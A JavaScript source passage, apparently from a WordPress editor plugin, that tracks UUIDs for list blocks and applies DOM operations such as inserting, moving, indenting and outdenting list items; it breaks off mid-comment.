/**
 * List block tracker for UUID-aware list editing and serialization.
 *
 * Dependencies: wp.blocks, SFE.ElementPrep
 * Exposes:      SFE.ListBlockTracker
 */
(function() {
    'use strict';

	window.MWP      = window.MWP || {};
	window.MWP.SFE  = window.MWP.SFE || {};
	const SFE       = window.MWP.SFE;
	SFE.ManagerData = SFE.ManagerData || {};

    const { createBlock, serialize: serializeBlocks } = window.wp?.blocks || {};
    const UUID_ATTR_KEYS = ['mwpSfeUuid', 'mwpSfeUuidShadow'];
    const LIST_ITEM_TEXT_ATTR = 'data-mwp-sfe-list-item-text';
    const LIST_ITEM_TEXT_CLASS = 'mwp-sfe-list-item-text';
    const PLACEHOLDER_ATTR = 'data-rich-text-placeholder';
    const LIST_ID_ATTR = 'data-list-id';
    const LIST_ITEM_ID_ATTR = 'data-item-id';
    const LIST_RUNTIME_UUID_ATTR = 'data-mwp-sfe-list-runtime-uuid';
    const LIST_ITEM_RUNTIME_UUID_ATTR = 'data-mwp-sfe-list-item-runtime-uuid';

	/**
	 * Return whether one node is a nested list element.
	 *
	 * @param   {Node|null} node Candidate DOM node.
	 * @returns {boolean}        True when the node is a nested list.
	 */
	function isNestedListNode(node) {
		return !!(
			node &&
			node.nodeType === Node.ELEMENT_NODE &&
			(node.tagName === 'UL' || node.tagName === 'OL')
		);
	}

	/**
	 * Return whether one node is ignorable formatting whitespace between list
	 * structures.
	 *
	 * Pretty-printed block markup often leaves direct `\n` text nodes between a
	 * list item's own text and its nested child list. Those nodes should not be
	 * moved into the direct text surface because they become visible editing
	 * artifacts once wrapped.
	 *
	 * @param   {Node|null} node Candidate DOM node.
	 * @returns {boolean}        True when the node is ignorable whitespace.
	 */
	function isIgnorableListWhitespaceNode(node) {
		return !!(
			node &&
			node.nodeType === Node.TEXT_NODE &&
			String(node.textContent || '')
				.replace(/\uFEFF/g, '')
				.replace(/\u00A0/g, ' ')
				.trim()
				.length === 0
		);
	}

	/**
	 * Return the direct inline text surface for one list item.
	 *
	 * @param   {HTMLLIElement|null} liElement Candidate list item.
	 * @returns {HTMLElement|null}            Existing direct text surface, if any.
	 */
	function getDirectItemTextSurface(liElement) {
		if (!liElement || liElement.nodeType !== Node.ELEMENT_NODE || liElement.tagName !== 'LI') {
			return null;
		}

		return Array.from(liElement.children || []).find(child => (
			child &&
			child.nodeType === Node.ELEMENT_NODE &&
			child.getAttribute(LIST_ITEM_TEXT_ATTR) === '1'
		)) || null;
	}

	/**
	 * Return the DOM attribute name that stores one session-scoped runtime UUID.
	 *
	 * Runtime UUIDs are distinct from the existing serialization/attr UUIDs. They
	 * exist only while the editor session is open so external callers can point at
	 * the current live list cursor/target without having to manage shifting paths.
	 *
	 * @param   {string} type Supported runtime identity type.
	 * @returns {string}      Attribute name, or an empty string for invalid types.
	 */
	function getRuntimeUuidAttributeName(type) {
		if (type === 'list') {
			return LIST_RUNTIME_UUID_ATTR;
		}

		if (type === 'item') {
			return LIST_ITEM_RUNTIME_UUID_ATTR;
		}

		return '';
	}

	/**
	 * Normalize one runtime UUID candidate.
	 *
	 * @param   {*} value Candidate runtime UUID.
	 * @returns {string}  Trimmed runtime UUID, or an empty string.
	 */
	function normalizeRuntimeUuid(value) {
		return String(value || '').trim();
	}

	/**
	 * Return whether one element matches the requested runtime-identity type.
	 *
	 * @param   {Element|null} element Candidate DOM element.
	 * @param   {string}       type    Supported runtime identity type.
	 * @returns {boolean}              True when the element matches the type.
	 */
	function isRuntimeIdentityElement(element, type) {
		if (!element || element.nodeType !== Node.ELEMENT_NODE) {
			return false;
		}

		if (type === 'list') {
			return element.tagName === 'UL' || element.tagName === 'OL';
		}

		if (type === 'item') {
			return element.tagName === 'LI';
		}

		return false;
	}

	/**
	 * Return one tracked element by runtime UUID from the live DOM.
	 *
	 * This intentionally queries the current DOM first instead of trusting only a
	 * cached map so history restores and other structural replacements can keep
	 * runtime UUID resolution stable as long as the attributes remain present.
	 *
	 * @param   {Object|null} tracker      Active list tracker.
	 * @param   {string}      runtimeUuid  Session-scoped runtime UUID.
	 * @param   {string}      type         Supported runtime identity type.
	 * @returns {Element|null}             Matching live DOM element.
	 */
	function findElementByRuntimeUuid(tracker, runtimeUuid, type) {
		const normalizedRuntimeUuid = normalizeRuntimeUuid(runtimeUuid);
		const attrName = getRuntimeUuidAttributeName(type);
		if (
			!tracker?.listElement ||
			!normalizedRuntimeUuid ||
			!attrName ||
			!isRuntimeIdentityElement(tracker.listElement, 'list')
		) {
			return null;
		}

		if (
			type === 'list' &&
			tracker.listElement.getAttribute(attrName) === normalizedRuntimeUuid
		) {
			return tracker.listElement;
		}

		try {
			const selector = `[${attrName}="${CSS.escape(normalizedRuntimeUuid)}"]`;
			return tracker.listElement.querySelector(selector);
		} catch (error) {
			const escapedUuid = normalizedRuntimeUuid.replace(/"/g, '\\"');
			return tracker.listElement.querySelector(`[${attrName}="${escapedUuid}"]`);
		}
	}

	/**
	 * Return every direct text surface currently attached to one list item.
	 *
	 * Merge/delete flows can temporarily move multiple direct text surfaces into
	 * the same list item. The shared list normalizer must collapse them back to
	 * one canonical surface before placeholder syncing or serialization.
	 *
	 * @param   {HTMLLIElement|null} liElement Candidate list item.
	 * @returns {HTMLElement[]}               Direct text surfaces in DOM order.
	 */
	function getAllDirectItemTextSurfaces(liElement) {
		if (!liElement || liElement.nodeType !== Node.ELEMENT_NODE || liElement.tagName !== 'LI') {
			return [];
		}

		return Array.from(liElement.children || []).filter(child => (
			child &&
			child.nodeType === Node.ELEMENT_NODE &&
			child.getAttribute(LIST_ITEM_TEXT_ATTR) === '1'
		));
	}

	/**
	 * Return whether one node is only placeholder/caret scaffolding.
	 *
	 * Duplicate direct text surfaces may carry empty placeholder anchors or
	 * caret `<br>` nodes. Those artifacts should be dropped when collapsing
	 * duplicate surfaces instead of being concatenated into visible stacks.
	 *
	 * @param   {Node|null} node Candidate DOM node.
	 * @returns {boolean}        True when the node is redundant placeholder UI.
	 */
	function isRedundantSurfaceArtifact(node) {
		if (!node) {
			return true;
		}

		if (isIgnorableListWhitespaceNode(node)) {
			return true;
		}

		if (node.nodeType === Node.TEXT_NODE) {
			return String(node.textContent || '')
				.replace(/\uFEFF/g, '')
				.replace(/\u00A0/g, ' ')
				.trim()
				.length === 0;
		}

		if (node.nodeType !== Node.ELEMENT_NODE) {
			return false;
		}

		if (node.tagName === 'BR') {
			return true;
		}

		return !!node.hasAttribute?.(PLACEHOLDER_ATTR);
	}

	/**
	 * Ensure one list item owns one direct inline text surface.
	 *
	 * The root list remains the single live editor host, but this wrapper gives
	 * schema/ABE flows one stable DOM surface per list item's own text content.
	 *
	 * @param   {HTMLLIElement|null} liElement Candidate list item.
	 * @returns {HTMLElement|null}            Ensured direct text surface.
	 */
	function ensureDirectItemTextSurface(liElement) {
		if (!liElement || liElement.nodeType !== Node.ELEMENT_NODE || liElement.tagName !== 'LI') {
			return null;
		}

		let surface = getDirectItemTextSurface(liElement);
		if (!surface) {
			surface = document.createElement('span');
			surface.setAttribute(LIST_ITEM_TEXT_ATTR, '1');
			surface.classList.add(LIST_ITEM_TEXT_CLASS);
			liElement.insertBefore(
				surface,
				Array.from(liElement.childNodes || []).find(isNestedListNode) || null
			);
		}

		getAllDirectItemTextSurfaces(liElement)
			.filter(candidate => candidate && candidate !== surface)
			.forEach(duplicateSurface => {
				Array.from(duplicateSurface.childNodes || []).forEach(node => {
					if (isRedundantSurfaceArtifact(node)) {
						node.remove();
						return;
					}

					surface.appendChild(node);
				});
				duplicateSurface.remove();
			});

		const childNodes = Array.from(liElement.childNodes || []);
		childNodes.forEach(node => {
			if (
				node &&
				node !== surface &&
				!isNestedListNode(node) &&
				isIgnorableListWhitespaceNode(node)
			) {
				node.remove();
			}
		});

		const movableNodes = childNodes.filter(node => {
			if (!node || node === surface || isNestedListNode(node)) {
				return false;
			}

			if (isIgnorableListWhitespaceNode(node)) {
				return false;
			}

			return !(
				node.nodeType === Node.ELEMENT_NODE &&
				node.getAttribute?.(LIST_ITEM_TEXT_ATTR) === '1'
			);
		});

		movableNodes.forEach(node => surface.appendChild(node));
		return surface;
	}

	/**
	 * Clone list attrs while optionally stripping plugin UUID ownership.
	 *
	 * The outermost core/list is the only persisted UUID owner for an entire
	 * list tree. Nested core/list blocks are structural children of that root.
	 * If we preserve a nested list UUID here, one accidental assignment can be
	 * re-serialized forever and split a single logical list into multiple
	 * history/edit targets. Keep this guard unless the ownership model changes
	 * everywhere else in PHP and JS at the same time.
	 *
	 * @param   {Object}  attrs                 Parsed Gutenberg attrs.
	 * @param   {boolean} allowUuidOwnership    True for the root list only.
	 * @returns {Object}                        Safe cloned attrs.
	 */
	function cloneListAttrs(attrs, allowUuidOwnership = true) {
		const clonedAttrs = JSON.parse(JSON.stringify(attrs || {}));

		if (allowUuidOwnership) {
			return clonedAttrs;
		}

		UUID_ATTR_KEYS.forEach(key => delete clonedAttrs[key]);
		return clonedAttrs;
	}

	/**
	 * Return the direct list-item children for one list element.
	 *
	 * @param   {HTMLElement|null} listElement Candidate list element.
	 * @returns {HTMLLIElement[]}             Direct child list items.
	 */
	function getDirectListItems(listElement) {
		if (!listElement || listElement.nodeType !== Node.ELEMENT_NODE) {
			return [];
		}

		return Array.from(listElement.children || []).filter(child => child.tagName === 'LI');
	}

	/**
	 * Normalize one path-like value into zero-based list indexes.
	 *
	 * Supported inputs:
	 * - `0_1_2`
	 * - `1.2.3`
	 * - arrays of integers
	 *
	 * @param   {string|Array<number>|null} pathValue Candidate path value.
	 * @returns {number[]|null}                      Parsed zero-based indexes.
	 */
	function normalizePathIndexes(pathValue) {
		if (Array.isArray(pathValue)) {
			const indexes = pathValue.map(value => Number.parseInt(value, 10));
			return indexes.every(Number.isInteger) && indexes.every(index => index >= 0)
				? indexes
				: null;
		}

		const raw = typeof pathValue === 'string' ? pathValue.trim() : '';
		if (!raw) {
			return [];
		}

		const separator = raw.includes('.') ? '.' : '_';
		const parts = raw.split(separator).filter(Boolean);
		if (!parts.length) {
			return [];
		}

		const indexes = parts.map(part => Number.parseInt(part, 10));
		if (!indexes.every(Number.isInteger)) {
			return null;
		}

		if (separator === '.') {
			return indexes.every(index => index > 0)
				? indexes.map(index => index - 1)
				: null;
		}

		return indexes.every(index => index >= 0) ? indexes : null;
	}

	/**
	 * Convert one zero-based path index list into public path metadata.
	 *
	 * @param   {number[]} indexes Zero-based indexes.
	 * @returns {{path: string, pathLabel: string, depth: number}} Path metadata.
	 */
	function buildPathMeta(indexes) {
		const safeIndexes = Array.isArray(indexes) ? indexes.filter(Number.isInteger) : [];
		return {
			path: safeIndexes.join('_'),
			pathLabel: safeIndexes.map(index => index + 1).join('.'),
			depth: Math.max(0, safeIndexes.length - 1),
		};
	}

	/**
	 * Return the direct child list element for one list item.
	 *
	 * @param   {HTMLLIElement|null} listItem Candidate list item.
	 * @returns {HTMLElement|null}            Direct nested list, if present.
	 */
	function getDirectChildList(listItem) {
		if (!listItem || listItem.nodeType !== Node.ELEMENT_NODE || listItem.tagName !== 'LI') {
			return null;
		}

		return Array.from(listItem.children || []).find(child => (
			child.tagName === 'UL' || child.tagName === 'OL'
		)) || null;
	}

	/**
	 * Return the preferred nested list tag for one list item.
	 *
	 * @param   {Object|null} tracker  Active list tracker.
	 * @param   {HTMLLIElement} listItem Parent list item.
	 * @returns {string}               `UL` or `OL`.
	 */
	function getPreferredChildListTagName(tracker, listItem) {
		const directChildList = getDirectChildList(listItem);
		if (directChildList) {
			return directChildList.tagName;
		}

		const parentList = listItem?.parentElement;
		if (parentList && (parentList.tagName === 'UL' || parentList.tagName === 'OL')) {
			return parentList.tagName;
		}

		return tracker?.listElement?.tagName === 'OL' ? 'OL' : 'UL';
	}

	/**
	 * Return one direct child list for a list item, creating it only when needed.
	 *
	 * Outdent can promote one item and then re-home its trailing siblings beneath
	 * that promoted item. When the promoted item already owns a child list, those
	 * siblings must be appended into the existing list so the DOM mirrors native
	 * editor behavior instead of creating duplicate sibling list wrappers.
	 *
	 * @param   {Object|null}    tracker         Active list tracker.
	 * @param   {HTMLLIElement}  listItem        Parent list item.
	 * @param   {string}         preferredTagName Fallback list tag name.
	 * @returns {HTMLElement|null}               Direct child list element.
	 */
	function ensureDirectChildList(tracker, listItem, preferredTagName = '') {
		if (!listItem || listItem.nodeType !== Node.ELEMENT_NODE || listItem.tagName !== 'LI') {
			return null;
		}

		let childList = getDirectChildList(listItem);
		if (childList) {
			return childList;
		}

		childList = document.createElement(
			preferredTagName || getPreferredChildListTagName(tracker, listItem)
		);
		childList.classList.add('wp-block-list');
		listItem.appendChild(childList);
		return childList;
	}

	/**
	 * Remove empty nested list wrappers up the ancestry chain.
	 *
	 * The root list element is never removed, even when it becomes empty.
	 *
	 * @param   {Object|null}      tracker   Active list tracker.
	 * @param   {HTMLElement|null} startList First candidate nested list.
	 * @returns {void}
	 */
	function cleanupEmptyAncestorLists(tracker, startList) {
		let currentList = startList;
		while (
			currentList &&
			currentList !== tracker?.listElement &&
			currentList.nodeType === Node.ELEMENT_NODE &&
			(currentList.tagName === 'UL' || currentList.tagName === 'OL') &&
			!getDirectListItems(currentList).length
		) {
			const parentItem = currentList.parentElement?.tagName === 'LI'
				? currentList.parentElement
				: null;
			currentList.remove();
			currentList = parentItem ? parentItem.parentElement : null;
		}
	}

	/**
	 * Build one new list item element from a structural operation payload.
	 *
	 * @param   {Object|null} operation Candidate operation payload.
	 * @returns {HTMLLIElement}         New list item element.
	 */
	function buildListItemFromOperation(operation) {
		const li = document.createElement('li');
		const directSurface = ensureDirectItemTextSurface(li);
		const runtimeUuid = normalizeRuntimeUuid(
			operation?.itemUuid
			?? operation?.newItemUuid
		);
		const html = typeof operation?.contentHtml === 'string'
			? operation.contentHtml
			: (typeof operation?.html === 'string' ? operation.html : '');
		const text = typeof operation?.contentText === 'string'
			? operation.contentText
			: (typeof operation?.text === 'string' ? operation.text : '');

		if (html) {
			directSurface.innerHTML = html;
		} else if (text) {
			directSurface.textContent = text;
		}

		if (runtimeUuid) {
			li.setAttribute(LIST_ITEM_RUNTIME_UUID_ATTR, runtimeUuid);
		}

		return li;
	}

	/**
	 * Copy one donor item's structural/style attributes onto the destination list
	 * item while preserving the destination runtime UUID.
	 *
	 * Native Enter list splitting happens inside the browser's contenteditable
	 * engine, so the new sibling inherits the source `li` element's attributes
	 * such as class and style automatically. API-driven insert/move operations
	 * should mirror that behavior by cloning the donor item's `li` attributes,
	 * except for the session-scoped runtime UUID which must stay unique.
	 *
	 * @param   {HTMLLIElement|null} listItem   Destination list item.
	 * @param   {HTMLLIElement|null} donorItem  Style/structure donor item.
	 * @returns {void}
	 */
	function copyDonorItemAttributes(listItem, donorItem) {
		if (
			!listItem ||
			listItem.nodeType !== Node.ELEMENT_NODE ||
			listItem.tagName !== 'LI' ||
			!donorItem ||
			donorItem.nodeType !== Node.ELEMENT_NODE ||
			donorItem.tagName !== 'LI'
		) {
			return;
		}

		const destinationRuntimeUuid = normalizeRuntimeUuid(
			listItem.getAttribute(LIST_ITEM_RUNTIME_UUID_ATTR)
		);

		Array.from(listItem.attributes || []).forEach(attr => {
			if (attr?.name === LIST_ITEM_RUNTIME_UUID_ATTR) {
				return;
			}

			listItem.removeAttribute(attr.name);
		});

		Array.from(donorItem.attributes || []).forEach(attr => {
			if (attr?.name === LIST_ITEM_RUNTIME_UUID_ATTR) {
				return;
			}

			listItem.setAttribute(attr.name, attr.value);
		});

		if (destinationRuntimeUuid) {
			listItem.setAttribute(LIST_ITEM_RUNTIME_UUID_ATTR, destinationRuntimeUuid);
		}
	}

	/**
	 * Reassign one list item's structural ID from its destination styling
	 * context.
	 *
	 * When an explicit target item is known, its structural `data-item-id`
	 * becomes the style donor for insert-before, insert-after, move-before, and
	 * move-after commands. This keeps the inheritance rule simple and matches the
	 * public API's explicit `targetItemUuid` model.
	 *
	 * For internal list-path insert/move cases that do not resolve through one
	 * target item, fall back to the local destination neighbors. If there is no
	 * neighboring item at all, clear the structural ID so the next tracker rebuild
	 * seeds a fresh item identity instead of accidentally preserving source attrs.
	 *
	 * @param   {HTMLLIElement|null} listItem    Destination list item.
	 * @param   {HTMLLIElement|null} targetItem Explicit style donor item.
	 * @returns {string}                     Applied structural ID or an empty string.
	 */
	function inheritDestinationItemId(listItem, targetItem = null) {
		if (!listItem || listItem.nodeType !== Node.ELEMENT_NODE || listItem.tagName !== 'LI') {
			return '';
		}

		const explicitTargetItem = targetItem && targetItem.nodeType === Node.ELEMENT_NODE && targetItem.tagName === 'LI'
			? targetItem
			: null;
		const previousItem = listItem.previousElementSibling?.tagName === 'LI'
			? listItem.previousElementSibling
			: null;
		const nextItem = listItem.nextElementSibling?.tagName === 'LI'
			? listItem.nextElementSibling
			: null;
		const inheritedId = normalizeRuntimeUuid(
			explicitTargetItem?.getAttribute(LIST_ITEM_ID_ATTR)
			|| previousItem?.getAttribute(LIST_ITEM_ID_ATTR)
			|| nextItem?.getAttribute(LIST_ITEM_ID_ATTR)
		);

		if (inheritedId) {
			listItem.setAttribute(LIST_ITEM_ID_ATTR, inheritedId);
			return inheritedId;
		}

		listItem.removeAttribute(LIST_ITEM_ID_ATTR);
		return '';
	}

	/**
	 * Apply one remove-list-item operation.
	 *
	 * @param   {Object|null}    tracker  Active list tracker.
	 * @param   {HTMLLIElement}  listItem Target list item.
	 * @returns {boolean}                True when the mutation applied.
	 */
	function applyRemoveListItemOperation(tracker, listItem) {
		if (!tracker?.listElement || !listItem) {
			return false;
		}

		const oldParentList = listItem.parentElement;
		listItem.remove();
		cleanupEmptyAncestorLists(tracker, oldParentList);
		return true;
	}

	/**
	 * Apply one indent-list-item operation.
	 *
	 * @param   {Object|null}    tracker  Active list tracker.
	 * @param   {HTMLLIElement}  listItem Target list item.
	 * @returns {boolean}                True when the mutation applied.
	 */
	function applyIndentListItemOperation(tracker, listItem) {
		if (!tracker?.listElement || !listItem) {
			return false;
		}

		const previousItem = listItem.previousElementSibling?.tagName === 'LI'
			? listItem.previousElementSibling
			: null;
		if (!previousItem) {
			return false;
		}

		const nestedList = ensureDirectChildList(tracker, previousItem);

		nestedList.appendChild(listItem);
		return true;
	}

	/**
	 * Apply one outdent-list-item operation.
	 *
	 * @param   {Object|null}    tracker  Active list tracker.
	 * @param   {HTMLLIElement}  listItem Target list item.
	 * @returns {boolean}                True when the mutation applied.
	 */
	function applyOutdentListItemOperation(tracker, listItem) {
		if (!tracker?.listElement || !listItem) {
			return false;
		}

		const parentList = listItem.parentElement;
		const parentItem = parentList?.parentElement?.tagName === 'LI'
			? parentList.parentElement
			: null;
		if (!parentList || !parentItem) {
			return false;
		}

		const ancestorList = parentItem.parentElement;
		const followingSiblings = [];
		let next = listItem.nextElementSibling;
		while (next) {
			followingSiblings.push(next);
			next = next.nextElementSibling;
		}

		ancestorList.insertBefore(listItem, parentItem.nextElementSibling);
		if (followingSiblings.length) {
			const nestedList = ensureDirectChildList(tracker, listItem, parentList.tagName);
			followingSiblings.forEach(sibling => nestedList.appendChild(sibling));
		}

		cleanupEmptyAncestorLists(tracker, parentList);
		return true;
	}

	/**
	 * Apply one toggle-list-type operation.
	 *
	 * @param   {Object|null} tracker      Active list tracker.
	 * @param   {Object}      rawOperation Structural operation payload.
	 * @param   {Object}      options      Apply-operation options.
	 * @returns {boolean}                  True when the mutation applied.
	 */
	function applyToggleListTypeOperation(tracker, rawOperation, options = {}) {
		if (!tracker?.listElement) {
			return false;
		}

		const listPath = rawOperation.listPath ?? rawOperation.list_path ?? '';
		const targetList = getListByPath(tracker, listPath);
		const editorHost = options?.editorHost && typeof options.editorHost.changeListType === 'function'
			? options.editorHost
			: null;
		const requestedType = targetList
			? (
				normalizeListTypeTagName(
					rawOperation.value
					?? rawOperation.listType
					?? rawOperation.list_type
					?? rawOperation.ordered
				) || (targetList.tagName === 'OL' ? 'UL' : 'OL')
			)
			: '';

		if (
			!targetList ||
			!requestedType ||
			targetList.tagName === requestedType ||
			!editorHost
		) {
			return false;
		}

		const nextList = editorHost.changeListType(targetList, requestedType.toLowerCase(), {
			saveHistory: options.saveHistory !== false,
			restoreCursor: options.restoreCursor !== false,
		});
		return !!nextList;
	}

	/**
	 * Apply one update-list-item-text operation.
	 *
	 * @param   {HTMLLIElement} listItem     Target list item.
	 * @param   {Object}        rawOperation Structural operation payload.
	 * @returns {boolean}                   True when the mutation applied.
	 */
	function applyUpdateListItemTextOperation(listItem, rawOperation) {
		if (!listItem) {
			return false;
		}

		const directSurface = ensureDirectItemTextSurface(listItem);
		const html = typeof rawOperation?.contentHtml === 'string'
			? rawOperation.contentHtml
			: (typeof rawOperation?.html === 'string' ? rawOperation.html : '');
		const text = typeof rawOperation?.contentText === 'string'
			? rawOperation.contentText
			: (typeof rawOperation?.text === 'string' ? rawOperation.text : '');

		if (!directSurface) {
			return false;
		}

		directSurface.innerHTML = '';
		if (html) {
			directSurface.innerHTML = html;
		} else if (text) {
			directSurface.textContent = text;
		}

		return true;
	}

	/**
	 * Insert one new list item relative to explicit before/after/list anchors.
	 *
	 * @param   {Object|null} tracker      Active list tracker.
	 * @param   {Object}      rawOperation Structural operation payload.
	 * @param   {Object}      trackerApi   List tracker API surface.
	 * @returns {boolean}                  True when the mutation applied.
	 */
	function applyInsertListItemOperation(tracker, rawOperation, trackerApi) {
		if (!tracker?.listElement || !trackerApi) {
			return false;
		}

		const beforePath = rawOperation.beforePath ?? rawOperation.before_path ?? '';
		const afterPath = rawOperation.afterPath ?? rawOperation.after_path ?? '';
		const listPath = rawOperation.listPath ?? rawOperation.list_path ?? '';
		const beforeItem = trackerApi.getItemByPath(tracker, beforePath);
		const afterItem = trackerApi.getItemByPath(tracker, afterPath);
		const newListItem = buildListItemFromOperation(rawOperation);

		if (beforeItem?.parentElement) {
			beforeItem.parentElement.insertBefore(newListItem, beforeItem);
			copyDonorItemAttributes(newListItem, beforeItem);
			inheritDestinationItemId(newListItem, beforeItem);
			return true;
		}

		if (afterItem?.parentElement) {
			afterItem.parentElement.insertBefore(newListItem, afterItem.nextElementSibling);
			copyDonorItemAttributes(newListItem, afterItem);
			inheritDestinationItemId(newListItem, afterItem);
			return true;
		}

		const targetList = getListByPath(tracker, listPath);
		if (!targetList) {
			return false;
		}

		const position = typeof rawOperation.position === 'string'
			? rawOperation.position.trim().toLowerCase()
			: 'append';
		if (position === 'prepend' && targetList.firstElementChild) {
			targetList.insertBefore(newListItem, targetList.firstElementChild);
		} else {
			targetList.appendChild(newListItem);
		}
		inheritDestinationItemId(newListItem);
		return true;
	}

	/**
	 * Move one existing list item relative to explicit before/after/list anchors.
	 *
	 * @param   {Object|null}    tracker      Active list tracker.
	 * @param   {HTMLLIElement}  listItem     Target list item.
	 * @param   {Object}         rawOperation Structural operation payload.
	 * @param   {Object}         trackerApi   List tracker API surface.
	 * @returns {boolean}                    True when the mutation applied.
	 */
	function applyMoveListItemOperation(tracker, listItem, rawOperation, trackerApi) {
		if (!tracker?.listElement || !listItem || !trackerApi) {
			return false;
		}

		const beforePath = rawOperation.beforePath ?? rawOperation.before_path ?? '';
		const afterPath = rawOperation.afterPath ?? rawOperation.after_path ?? '';
		const listPath = rawOperation.listPath ?? rawOperation.list_path ?? '';
		const beforeItem = trackerApi.getItemByPath(tracker, beforePath);
		const afterItem = trackerApi.getItemByPath(tracker, afterPath);
		const oldParentList = listItem.parentElement;
		let didApply = false;

		if (beforeItem && beforeItem !== listItem && !listItem.contains(beforeItem)) {
			beforeItem.parentElement.insertBefore(listItem, beforeItem);
			copyDonorItemAttributes(listItem, beforeItem);
			inheritDestinationItemId(listItem, beforeItem);
			didApply = true;
		} else if (afterItem && afterItem !== listItem && !listItem.contains(afterItem)) {
			afterItem.parentElement.insertBefore(listItem, afterItem.nextElementSibling);
			copyDonorItemAttributes(listItem, afterItem);
			inheritDestinationItemId(listItem, afterItem);
			didApply = true;
		} else if (typeof listPath === 'string') {
			const targetList = getListByPath(tracker, listPath);
			const ownerItem = targetList?.parentElement?.tagName === 'LI'
				? targetList.parentElement
				: null;

			if (targetList && ownerItem !== listItem && !listItem.contains(ownerItem || null)) {
				const position = typeof rawOperation.position === 'string'
					? rawOperation.position.trim().toLowerCase()
					: 'append';
				if (position === 'prepend' && targetList.firstElementChild) {
					targetList.insertBefore(listItem, targetList.firstElementChild);
				} else {
					targetList.appendChild(listItem);
				}
				inheritDestinationItemId(listItem);
				didApply = true;
			}
		}

		if (didApply) {
			cleanupEmptyAncestorLists(tracker, oldParentList);
		}

		return didApply;
	}

	/**
	 * Resolve one tracked list element from a list-path payload.
	 *
	 * The root list lives at the empty path. Nested lists are addressed by the
	 * tree path of the parent item that owns that child list.
	 *
	 * @param   {Object|null}            tracker   Active list tracker.
	 * @param   {string|Array<number>}   pathValue Root-empty list path or parent-item path.
	 * @returns {HTMLElement|null}                 Matching list element.
	 */
	function getListByPath(tracker, pathValue) {
		if (!tracker?.listElement) {
			return null;
		}

		if (
			pathValue === '' ||
			pathValue === null ||
			typeof pathValue === 'undefined' ||
			(Array.isArray(pathValue) && !pathValue.length) ||
			(typeof pathValue === 'string' && !pathValue.trim())
		) {
			return tracker.listElement;
		}

		const parentItem = ListBlockTracker.getItemByPath(tracker, pathValue);
		return parentItem ? getDirectChildList(parentItem) : null;
	}

	/**
	 * Normalize one requested list-type value to a DOM tag name.
	 *
	 * @param   {*} value Candidate list-type value.
	 * @returns {string}  `OL`, `UL`, or an empty string.
	 */
	function normalizeListTypeTagName(value) {
		if (value === true) {
			return 'OL';
		}
		if (value === false) {
			return 'UL';
		}

		const normalized = String(value || '').trim().toLowerCase();
		if (normalized === 'ordered' || normalized === 'ol' || normalized === 'true') {
			return 'OL';
		}
		if (normalized === 'unordered' || normalized === 'ul' || normalized === 'false') {
			return 'UL';
		}

		return '';
	}

    const ListBlockTracker = {
        active: null,
        
        /**
         * Initialize tracker for a list element
         * @param {HTMLElement} listElement - The UL or OL element
         * @param {Object} originalBlock - The complete WordPress block structure
         */
        init(listElement, originalBlock = {}) {
            if (!createBlock || !serializeBlocks) {
				console.error('wp.blocks not available');
			}

            const tracker = {
                listElement,
                originalBlock: JSON.parse(JSON.stringify(originalBlock)),
                uuidMap: new Map(),  // uuid -> {type, attrs, element}
                domMap:  new WeakMap(),  // element -> uuid
                runtimeUuidMap: new Map(), // runtimeUuid -> {type, element}
                runtimeDomMap: new WeakMap() // element -> runtimeUuid
            };
            
			// Attach tracker to element to avoid singleton issues
    		listElement._mwpListTracker = tracker;

            // Build UUID tracking from DOM and original block structure
            this.buildFromDOM(tracker, listElement, originalBlock);
            this.active = tracker;
            return tracker;
        },
        
        /**
         * Build UUID mappings from DOM and original block structure
         * Assigns UUIDs to all lists and list items, mapping to their original attrs
         */
        buildFromDOM(tracker, listElement, originalBlock) {
			const previousEntries = tracker.uuidMap instanceof Map
				? new Map(tracker.uuidMap)
				: new Map();
			const previousRuntimeEntries = tracker.runtimeUuidMap instanceof Map
				? new Map(tracker.runtimeUuidMap)
				: new Map();

            tracker.uuidMap.clear();
            tracker.domMap = new WeakMap();
            tracker.runtimeUuidMap.clear();
            tracker.runtimeDomMap = new WeakMap();
            tracker.listElement = listElement;
			this.syncEditableTextSurfaces(listElement);
            
			this.registerRuntimeIdentity(
				tracker,
				listElement,
				'list',
				previousRuntimeEntries
			);

            // Assign UUID to root list and map to original attrs
            const rootUuid = this.getOrCreateUuid(listElement, 'list');
			const previousRootEntry = previousEntries.get(rootUuid);
            tracker.uuidMap.set(rootUuid, {
                type:    'list',
                attrs:   previousRootEntry?.attrs
					? cloneListAttrs(previousRootEntry.attrs, true)
					: cloneListAttrs(originalBlock.attrs || {}, true),
                element: listElement
            });
            tracker.domMap.set(listElement, rootUuid);
            
            // Recursively process list structure
            this.processListRecursive(
				tracker,
				listElement,
				originalBlock.innerBlocks || [],
				previousEntries,
				previousRuntimeEntries
			);
        },
        
        /**
         * Recursively process list items and nested lists, assigning UUIDs
         */
        processListRecursive(
			tracker,
			listElement,
			originalItems,
			previousEntries = new Map(),
			previousRuntimeEntries = new Map()
		) {
            const items = getDirectListItems(listElement);
            
            items.forEach((li, index) => {
				this.syncEditableTextSurfaces(li);
                const originalItem = originalItems[index] || {};
				this.registerRuntimeIdentity(
					tracker,
					li,
					'item',
					previousRuntimeEntries
				);
                const itemUuid     = this.getOrCreateUuid(li, 'item');
				const previousItemEntry = previousEntries.get(itemUuid);
                
                // Map UUID to original item attrs
                tracker.uuidMap.set(itemUuid, {
                    type:    'item',
                    attrs:   previousItemEntry?.attrs
						? JSON.parse(JSON.stringify(previousItemEntry.attrs || {}))
						: JSON.parse(JSON.stringify(originalItem.attrs || {})),
                    element: li
                });
                tracker.domMap.set(li, itemUuid);
                
                // Handle nested lists
                const nestedList = getDirectChildList(li);
                if (nestedList) {
                    const originalNested = originalItem.innerBlocks?.[0] || {};
					this.registerRuntimeIdentity(
						tracker,
						nestedList,
						'list',
						previousRuntimeEntries
					);
                    const nestedUuid     = this.getOrCreateUuid(nestedList, 'list');
					const previousNestedEntry = previousEntries.get(nestedUuid);
                    
                    // Map nested list attrs without plugin UUID ownership.
                    // The tracker still needs a temporary DOM identity for list
                    // editing, but persisting mwpSfeUuid* on nested lists would
                    // fracture one logical list into multiple save/history roots.
                    tracker.uuidMap.set(nestedUuid, {
                        type:    'list',
                        attrs:   previousNestedEntry?.attrs
							? cloneListAttrs(previousNestedEntry.attrs, false)
							: cloneListAttrs(originalNested.attrs || {}, false),
                        element: nestedList
                    });
                    tracker.domMap.set(nestedList, nestedUuid);
                    
                    // Recurse into nested list
                    this.processListRecursive(
						tracker,
						nestedList,
						originalNested.innerBlocks || [],
						previousEntries,
						previousRuntimeEntries
					);
                }
            });
        },

		/**
		 * Register one list or list-item runtime identity on the tracker.
		 *
